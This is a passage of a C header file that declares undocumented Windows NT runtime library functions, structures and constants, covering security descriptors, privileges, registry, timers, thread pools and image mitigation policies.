ModificationDescriptor,\n _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_opt_ HANDLE Token\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSecurityObjectEx(\n _In_ SECURITY_INFORMATION SecurityInformation,\n _In_ PSECURITY_DESCRIPTOR ModificationDescriptor,\n _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,\n _In_ ULONG AutoInheritFlags, // SEF_*\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_opt_ HANDLE Token\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConvertToAutoInheritSecurityObject(\n _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor,\n _In_ PSECURITY_DESCRIPTOR CurrentSecurityDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *NewSecurityDescriptor,\n _In_opt_ GUID *ObjectType,\n _In_ BOOLEAN IsDirectoryObject,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNewInstanceSecurityObject(\n _In_ BOOLEAN ParentDescriptorChanged,\n _In_ BOOLEAN CreatorDescriptorChanged,\n _In_ PLUID OldClientTokenModifiedId,\n _Out_ PLUID NewClientTokenModifiedId,\n _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *NewDescriptor,\n _In_ BOOLEAN IsDirectoryObject,\n _In_ HANDLE Token,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCopySecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR InputSecurityDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *OutputSecurityDescriptor\n );\n\n// Misc. security\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRunEncodeUnicodeString(\n _Inout_ PUCHAR Seed,\n _In_ PUNICODE_STRING String\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRunDecodeUnicodeString(\n _In_ UCHAR Seed,\n _In_ PUNICODE_STRING String\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlImpersonateSelf(\n _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlImpersonateSelfEx(\n _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,\n _In_opt_ ACCESS_MASK AdditionalAccess,\n _Out_opt_ PHANDLE ThreadToken\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAdjustPrivilege(\n _In_ ULONG Privilege,\n _In_ BOOLEAN Enable,\n _In_ BOOLEAN Client,\n _Out_ PBOOLEAN WasEnabled\n );\n\n#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001\n#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAcquirePrivilege(\n _In_ PULONG Privilege,\n _In_ ULONG NumPriv,\n _In_ ULONG Flags,\n _Out_ PVOID *ReturnedState\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlReleasePrivilege(\n _In_ PVOID StatePointer\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlRemovePrivileges(\n _In_ HANDLE TokenHandle,\n _In_ PULONG PrivilegesToKeep,\n _In_ ULONG PrivilegeCount\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIsUntrustedObject(\n _In_opt_ HANDLE Handle,\n _In_opt_ PVOID Object,\n _Out_ PBOOLEAN IsUntrustedObject\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlQueryValidationRunlevel(\n _In_opt_ PUNICODE_STRING ComponentName\n );\n\n#endif\n\n// Private namespaces\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// begin_private\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlCreateBoundaryDescriptor(\n _In_ PUNICODE_STRING Name,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlDeleteBoundaryDescriptor(\n _In_ PVOID BoundaryDescriptor\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddSIDToBoundaryDescriptor(\n _Inout_ PVOID *BoundaryDescriptor,\n _In_ PSID RequiredSid\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddIntegrityLabelToBoundaryDescriptor(\n _Inout_ PVOID *BoundaryDescriptor,\n _In_ PSID IntegrityLabel\n );\n#endif\n\n// end_private\n\n#endif\n\n// Version\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetVersion(\n _Out_ PRTL_OSVERSIONINFOEXW VersionInformation // PRTL_OSVERSIONINFOW\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlVerifyVersionInfo(\n _In_ PRTL_OSVERSIONINFOEXW VersionInformation, // PRTL_OSVERSIONINFOW\n _In_ ULONG TypeMask,\n _In_ ULONGLONG ConditionMask\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlGetNtVersionNumbers(\n _Out_opt_ PULONG NtMajorVersion,\n _Out_opt_ PULONG NtMinorVersion,\n _Out_opt_ PULONG NtBuildNumber\n );\n\n// System information\n\n// rev\nNTSYSAPI\nULONG\nNTAPI\nRtlGetNtGlobalFlags(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlGetNtProductType(\n _Out_ PNT_PRODUCT_TYPE NtProductType\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE2)\n// private\nNTSYSAPI\nULONG\nNTAPI\nRtlGetSuiteMask(\n VOID\n );\n#endif\n\n// Thread pool (old)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlRegisterWait(\n _Out_ PHANDLE WaitHandle,\n _In_ HANDLE Handle,\n _In_ WAITORTIMERCALLBACKFUNC Function,\n _In_ PVOID Context,\n _In_ ULONG Milliseconds,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeregisterWait(\n _In_ HANDLE WaitHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeregisterWaitEx(\n _In_ HANDLE WaitHandle,\n _In_ HANDLE Event\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueueWorkItem(\n _In_ WORKERCALLBACKFUNC Function,\n _In_ PVOID Context,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetIoCompletionCallback(\n _In_ HANDLE FileHandle,\n _In_ APC_CALLBACK_FUNCTION CompletionProc,\n _In_ ULONG Flags\n );\n\ntypedef NTSTATUS (NTAPI *PRTL_START_POOL_THREAD)(\n _In_ PTHREAD_START_ROUTINE Function,\n _In_ PVOID Parameter,\n _Out_ PHANDLE ThreadHandle\n );\n\ntypedef NTSTATUS (NTAPI *PRTL_EXIT_POOL_THREAD)(\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetThreadPoolStartFunc(\n _In_ PRTL_START_POOL_THREAD StartPoolThread,\n _In_ PRTL_EXIT_POOL_THREAD ExitPoolThread\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlUserThreadStart(\n _In_ PTHREAD_START_ROUTINE Function,\n _In_ PVOID Parameter\n );\n\nNTSYSAPI\nVOID\nNTAPI\nLdrInitializeThunk(\n _In_ PCONTEXT ContextRecord,\n _In_ PVOID Parameter\n );\n\n// Timer support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateTimerQueue(\n _Out_ PHANDLE TimerQueueHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateTimer(\n _In_ HANDLE TimerQueueHandle,\n _Out_ PHANDLE Handle,\n _In_ WAITORTIMERCALLBACKFUNC Function,\n _In_opt_ PVOID Context,\n _In_ ULONG DueTime,\n _In_ ULONG Period,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpdateTimer(\n _In_ HANDLE TimerQueueHandle,\n _In_ HANDLE TimerHandle,\n _In_ ULONG DueTime,\n _In_ ULONG Period\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteTimer(\n _In_ HANDLE TimerQueueHandle,\n _In_ HANDLE TimerToCancel,\n _In_opt_ HANDLE Event\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteTimerQueue(\n _In_ HANDLE TimerQueueHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteTimerQueueEx(\n _In_ HANDLE TimerQueueHandle,\n _In_ HANDLE Event\n );\n\n// Registry access\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatCurrentUserKeyPath(\n _Out_ PUNICODE_STRING CurrentUserKeyPath\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOpenCurrentUser(\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PHANDLE CurrentUserKey\n );\n\n#define RTL_REGISTRY_ABSOLUTE 0\n#define RTL_REGISTRY_SERVICES 1 // \\Registry\\Machine\\System\\CurrentControlSet\\Services\n#define RTL_REGISTRY_CONTROL 2 // \\Registry\\Machine\\System\\CurrentControlSet\\Control\n#define RTL_REGISTRY_WINDOWS_NT 3 // \\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\n#define RTL_REGISTRY_DEVICEMAP 4 // \\Registry\\Machine\\Hardware\\DeviceMap\n#define RTL_REGISTRY_USER 5 // \\Registry\\User\\CurrentUser\n#define RTL_REGISTRY_MAXIMUM 6\n#define RTL_REGISTRY_HANDLE 0x40000000\n#define RTL_REGISTRY_OPTIONAL 0x80000000\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateRegistryKey(\n _In_ ULONG RelativeTo,\n _In_ PWSTR Path\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckRegistryKey(\n _In_ ULONG RelativeTo,\n _In_ PWSTR Path\n );\n\ntypedef NTSTATUS (NTAPI *PRTL_QUERY_REGISTRY_ROUTINE)(\n _In_ PWSTR ValueName,\n _In_ ULONG ValueType,\n _In_ PVOID ValueData,\n _In_ ULONG ValueLength,\n _In_ PVOID Context,\n _In_ PVOID EntryContext\n );\n\ntypedef struct _RTL_QUERY_REGISTRY_TABLE\n{\n PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;\n ULONG Flags;\n PWSTR Name;\n PVOID EntryContext;\n ULONG DefaultType;\n PVOID DefaultData;\n ULONG DefaultLength;\n} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;\n\n#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001\n#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002\n#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004\n#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008\n#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010\n#define RTL_QUERY_REGISTRY_DIRECT 0x00000020\n#define RTL_QUERY_REGISTRY_DELETE 0x00000040\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryRegistryValues(\n _In_ ULONG RelativeTo,\n _In_ PCWSTR Path,\n _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable,\n _In_ PVOID Context,\n _In_opt_ PVOID Environment\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryRegistryValuesEx(\n _In_ ULONG RelativeTo,\n _In_ PCWSTR Path,\n _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable,\n _In_ PVOID Context,\n _In_opt_ PVOID Environment\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWriteRegistryValue(\n _In_ ULONG RelativeTo,\n _In_ PCWSTR Path,\n _In_ PCWSTR ValueName,\n _In_ ULONG ValueType,\n _In_ PVOID ValueData,\n _In_ ULONG ValueLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteRegistryValue(\n _In_ ULONG RelativeTo,\n _In_ PCWSTR Path,\n _In_ PCWSTR ValueName\n );\n\n// Thread profiling\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnableThreadProfiling(\n _In_ HANDLE ThreadHandle,\n _In_ ULONG Flags,\n _In_ ULONG64 HardwareCounters,\n _Out_ PVOID *PerformanceDataHandle\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDisableThreadProfiling(\n _In_ PVOID PerformanceDataHandle\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryThreadProfiling(\n _In_ HANDLE ThreadHandle,\n _Out_ PBOOLEAN Enabled\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReadThreadProfilingData(\n _In_ HANDLE PerformanceDataHandle,\n _In_ ULONG Flags,\n _Out_ PPERFORMANCE_DATA PerformanceData\n );\n\n#endif\n\n// WOW64\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetNativeSystemInformation(\n _In_ ULONG SystemInformationClass,\n _In_ PVOID NativeSystemInformation,\n _In_ ULONG InformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueueApcWow64Thread(\n _In_ HANDLE ThreadHandle,\n _In_ PPS_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWow64EnableFsRedirection(\n _In_ BOOLEAN Wow64FsEnableRedirection\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWow64EnableFsRedirectionEx(\n _In_ PVOID Wow64FsEnableRedirection,\n _Out_ PVOID *OldFsRedirectionLevel\n );\n\n// Misc.\n\nNTSYSAPI\nULONG32\nNTAPI\nRtlComputeCrc32(\n _In_ ULONG32 PartialCrc,\n _In_ PVOID Buffer,\n _In_ ULONG Length\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlEncodePointer(\n _In_ PVOID Ptr\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlDecodePointer(\n _In_ PVOID Ptr\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlEncodeSystemPointer(\n _In_ PVOID Ptr\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlDecodeSystemPointer(\n _In_ PVOID Ptr\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEncodeRemotePointer(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID Pointer,\n _Out_ PVOID *EncodedPointer\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecodeRemotePointer(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID Pointer,\n _Out_ PVOID *DecodedPointer\n );\n#endif\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsProcessorFeaturePresent(\n _In_ ULONG ProcessorFeature\n );\n\n// rev\nNTSYSAPI\nULONG\nNTAPI\nRtlGetCurrentProcessorNumber(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlGetCurrentProcessorNumberEx(\n _Out_ PPROCESSOR_NUMBER ProcessorNumber\n );\n\n#endif\n\n// Stack support\n\nNTSYSAPI\nVOID\nNTAPI\nRtlPushFrame(\n _In_ PTEB_ACTIVE_FRAME Frame\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlPopFrame(\n _In_ PTEB_ACTIVE_FRAME Frame\n );\n\nNTSYSAPI\nPTEB_ACTIVE_FRAME\nNTAPI\nRtlGetFrame(\n VOID\n );\n\n#define RTL_WALK_USER_MODE_STACK 0x00000001\n#define RTL_WALK_VALID_FLAGS 0x00000001\n#define RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT 0x00000008\n\n// private\nNTSYSAPI\nULONG\nNTAPI\nRtlWalkFrameChain(\n _Out_writes_(Count - (Flags >> RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT)) PVOID *Callers,\n _In_ ULONG Count,\n _In_ ULONG Flags\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlGetCallersAddress( // Use the intrinsic _ReturnAddress instead.\n _Out_ PVOID *CallersAddress,\n _Out_ PVOID *CallersCaller\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\nNTSYSAPI\nULONG64\nNTAPI\nRtlGetEnabledExtendedFeatures(\n _In_ ULONG64 FeatureMask\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE4)\n\n// msdn\nNTSYSAPI\nULONG64\nNTAPI\nRtlGetEnabledExtendedAndSupervisorFeatures(\n _In_ ULONG64 FeatureMask\n );\n\n// msdn\n_Ret_maybenull_\n_Success_(return != NULL)\nNTSYSAPI\nPVOID\nNTAPI\nRtlLocateSupervisorFeature(\n _In_ PXSAVE_AREA_HEADER XStateHeader,\n _In_range_(XSTATE_AVX, MAXIMUM_XSTATE_FEATURES - 1) ULONG FeatureId,\n _Out_opt_ PULONG Length\n );\n\n#endif\n\n// private\ntypedef union _RTL_ELEVATION_FLAGS\n{\n ULONG Flags;\n struct\n {\n ULONG ElevationEnabled : 1;\n ULONG VirtualizationEnabled : 1;\n ULONG InstallerDetectEnabled : 1;\n ULONG ReservedBits : 29;\n };\n} RTL_ELEVATION_FLAGS, *PRTL_ELEVATION_FLAGS;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryElevationFlags(\n _Out_ PRTL_ELEVATION_FLAGS Flags\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlRegisterThreadWithCsrss(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLockCurrentThread(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnlockCurrentThread(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLockModuleSection(\n _In_ PVOID Address\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnlockModuleSection(\n _In_ PVOID Address\n );\n\n#endif\n\n// begin_msdn:\"Winternl\"\n\n#define RTL_UNLOAD_EVENT_TRACE_NUMBER 64\n\n// private\ntypedef struct _RTL_UNLOAD_EVENT_TRACE\n{\n PVOID BaseAddress;\n SIZE_T SizeOfImage;\n ULONG Sequence;\n ULONG TimeDateStamp;\n ULONG CheckSum;\n WCHAR ImageName[32];\n ULONG Version[2];\n} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE;\n\ntypedef struct _RTL_UNLOAD_EVENT_TRACE32 \n{\n ULONG BaseAddress;\n ULONG SizeOfImage;\n ULONG Sequence;\n ULONG TimeDateStamp;\n ULONG CheckSum;\n WCHAR ImageName[32];\n ULONG Version[2];\n} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32;\n\nNTSYSAPI\nPRTL_UNLOAD_EVENT_TRACE\nNTAPI\nRtlGetUnloadEventTrace(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSAPI\nVOID\nNTAPI\nRtlGetUnloadEventTraceEx(\n _Out_ PULONG *ElementSize,\n _Out_ PULONG *ElementCount,\n _Out_ PVOID *EventTrace // works across all processes\n );\n#endif\n\n// end_msdn\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlQueryPerformanceCounter(\n _Out_ PLARGE_INTEGER PerformanceCounter\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlQueryPerformanceFrequency(\n _Out_ PLARGE_INTEGER PerformanceFrequency\n );\n#endif\n\n// Image Mitigation\n\n// rev\ntypedef enum _IMAGE_MITIGATION_POLICY\n{\n ImageDepPolicy, // RTL_IMAGE_MITIGATION_DEP_POLICY\n ImageAslrPolicy, // RTL_IMAGE_MITIGATION_ASLR_POLICY\n ImageDynamicCodePolicy, // RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY\n ImageStrictHandleCheckPolicy, // RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY\n ImageSystemCallDisablePolicy, // RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY\n ImageMitigationOptionsMask,\n ImageExtensionPointDisablePolicy, // RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY\n ImageControlFlowGuardPolicy, // RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY\n ImageSignaturePolicy, // RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY\n ImageFontDisablePolicy, // RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY\n ImageImageLoadPolicy, // RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY\n ImagePayloadRestrictionPolicy, // RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY\n ImageChildProcessPolicy, // RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY\n ImageSehopPolicy, // RTL_IMAGE_MITIGATION_SEHOP_POLICY\n ImageHeapPolicy, // RTL_IMAGE_MITIGATION_HEAP_POLICY\n MaxImageMitigationPolicy\n} IMAGE_MITIGATION_POLICY;\n\n// rev\ntypedef union _RTL_IMAGE_MITIGATION_POLICY\n{\n struct\n {\n ULONG64 AuditState : 2;\n ULONG64 AuditFlag : 1;\n ULONG64 EnableAdditionalAuditingOption : 1;\n ULONG64 Reserved : 60;\n };\n struct\n {\n ULONG64 PolicyState : 2;\n ULONG64 AlwaysInherit : 1;\n ULONG64 EnableAdditionalPolicyOption : 1;\n ULONG64 AuditReserved : 60;\n };\n} RTL_IMAGE_MITIGATION_POLICY, *PRTL_IMAGE_MITIGATION_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_DEP_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY Dep;\n} RTL_IMAGE_MITIGATION_DEP_POLICY, *PRTL_IMAGE_MITIGATION_DEP_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_ASLR_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY ForceRelocateImages;\n RTL_IMAGE_MITIGATION_POLICY BottomUpRandomization;\n RTL_IMAGE_MITIGATION_POLICY HighEntropyRandomization;\n} RTL_IMAGE_MITIGATION_ASLR_POLICY, *PRTL_IMAGE_MITIGATION_ASLR_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY BlockDynamicCode;\n} RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY, *PRTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY StrictHandleChecks;\n} RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY, *PRTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY BlockWin32kSystemCalls;\n} RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY DisableExtensionPoints;\n} RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY ControlFlowGuard;\n RTL_IMAGE_MITIGATION_POLICY StrictControlFlowGuard;\n} RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY, *PRTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY BlockNonMicrosoftSignedBinaries;\n RTL_IMAGE_MITIGATION_POLICY EnforceSigningOnModuleDependencies;\n} RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY, *PRTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY DisableNonSystemFonts;\n} RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY BlockRemoteImageLoads;\n RTL_IMAGE_MITIGATION_POLICY BlockLowLabelImageLoads;\n RTL_IMAGE_MITIGATION_POLICY PreferSystem32;\n} RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY, *PRTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilter;\n RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilterPlus;\n RTL_IMAGE_MITIGATION_POLICY EnableImportAddressFilter;\n RTL_IMAGE_MITIGATION_POLICY EnableRopStackPivot;\n RTL_IMAGE_MITIGATION_POLICY EnableRopCallerCheck;\n RTL_IMAGE_MITIGATION_POLICY EnableRopSimExec;\n WCHAR EafPlusModuleList[512]; // 19H1\n} RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY, *PRTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY DisallowChildProcessCreation;\n} RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY, *PRTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_SEHOP_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY Sehop;\n} RTL_IMAGE_MITIGATION_SEHOP_POLICY, *PRTL_IMAGE_MITIGATION_SEHOP_POLICY;\n\n// rev\ntypedef struct _RTL_IMAGE_MITIGATION_HEAP_POLICY\n{\n RTL_IMAGE_MITIGATION_POLICY TerminateOnHeapErrors;\n} RTL_IMAGE_MITIGATION_HEAP_POLICY, *PRTL_IMAGE_MITIGATION_HEAP_POLICY;\n\ntypedef enum _RTL_IMAGE_MITIGATION_OPTION_STATE\n{\n RtlMitigationOptionStateNotConfigured,\n RtlMitigationOptionStateOn,\n RtlMitigationOptionStateOff\n} RTL_IMAGE_MITIGATION_OPTION_STATE;\n\n// rev from PROCESS_MITIGATION_FLAGS\n#define RTL_IMAGE_MITIGATION_FLAG_RESET 0x1\n#define RTL_IMAGE_MITIGATION_FLAG_REMOVE 0x2\n#define RTL_IMAGE_MITIGATION_FLAG_OSDEFAULT 0x4\n#define RTL_IMAGE_MITIGATION_FLAG_AUDIT 0x8\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryImageMitigationPolicy(\n _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults\n _In_ IMAGE_MITIGATION_POLICY Policy,\n _In_ ULONG Flags,\n _Inout_ PVOID Buffer,\n _In_ ULONG BufferSize\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetImageMitigationPolicy(\n _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults\n _In_ IMAGE_MITIGATION_POLICY Policy,\n _In_ ULONG Flags,\n _Inout_ PVOID Buffer,\n _In_ ULONG BufferSize\n );\n\n#endif\n\n// session \n\n// rev\nNTSYSAPI\nULONG\nNTAPI\nRtlGetCurrentServiceSessionId(\n 